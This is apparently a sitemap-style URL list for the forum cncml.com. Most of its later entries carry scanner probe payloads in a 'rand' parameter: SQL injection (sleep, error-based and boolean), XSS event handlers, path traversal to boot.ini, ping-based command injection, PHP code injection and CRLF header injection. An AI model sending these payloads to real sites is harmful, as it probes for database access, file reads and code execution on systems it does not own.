http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=123 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=124 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=128 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=13 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=130 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=134 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=136 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=137 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=138 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=14 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=143 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=148 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=149 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=150 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=152 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=159 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=16 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=161 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=164 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=166 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=167 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=168 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=170 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=171 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=172 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=173 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=175 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=176 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=178 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=179 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=18 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=181 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=184 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=185 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=186 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=19 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=192 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=194 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=195 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=196 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=198 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=2 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=20 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=203 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=205 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=206 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=207 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=208 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=209 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=21 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=215 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=216 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=217 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=218 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=219 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=220 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=222 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=224 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=23 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=3 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=37 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=4 0.0002 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=43 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=45 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=46 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=47 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=49 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=5 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=50 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=51 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=52 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=53 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=54 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=55 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=56 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=6 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=63 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=64 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=65 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=66 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=67 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=68 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=69 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=7 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=70 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=71 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=72 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=73 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=74 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=75 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=76 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=77 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=78 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=79 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=82 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=83 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=84 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=85 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=86 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=87 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=89 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=9 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=90 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=91 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=92 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=97 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=98 0.0001 http://www.cncml.com/home.php?mod=magic&mid=stick&idtype=tid&id=99 0.0001 http://www.cncml.com/home.php?mod=medal 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%3Cdir 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=');print(md5(1122));// 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(59=24)*1452889343 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(79=79)*1452889343 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%201452889343%20ELSE%2012*(SELECT%2012%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%201452889343%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%201452889343%20ELSE%2021*(SELECT%2021%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(26=96)%20THEN%201452889343%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(28=58)%20THEN%201452889343%20ELSE%2028*(SELECT%2028%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%201452889343%20ELSE%2031*(SELECT%2031%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(32=92)%20THEN%201453000356%20ELSE%2032*(SELECT%2032%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%201453000356%20ELSE%2038*(SELECT%2038%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(38=54)%20THEN%201453000356%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(53=53)%20THEN%201452889343%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(65=38)%20THEN%201452889343%20ELSE%2065*(SELECT%2065%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(72=83)%20THEN%201453000356%20ELSE%2072*(SELECT%2072%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(75=92)%20THEN%201452889343%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(78=78)%20THEN%201453000356%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(89=89)%20THEN%201453000356%20ELSE%2089*(SELECT%2089%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20(CASE%20WHEN%20(93=92)%20THEN%201452889343%20ELSE%2093*(SELECT%2093%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=................windowswin.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452787761 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452791122 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452791129 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452806878 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452827450 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452829793 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452831328 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452833695 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452833796 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452834020 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452834070 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452834110 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452852156 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452852429 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452857618 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452861430 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452866057 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452877596 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452877597 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452888550 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343 0.0005 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%00' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%2062=81 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=94)%20THEN%201452889343%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20RLIKE%20(SELECT%20(CASE%20WHEN%20(78=78)%20THEN%201452889343%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%22%20AND%20%22Qa%22=%22f4 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%22)%20AND%2036=68%20AND%20(%22Z6%22=%22Z6 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25%22%29%20AND%2018%3D52%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25%27%29%20AND%2044%3D12%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25%27%29%20AND%2071%3D71%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND%2011=11%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 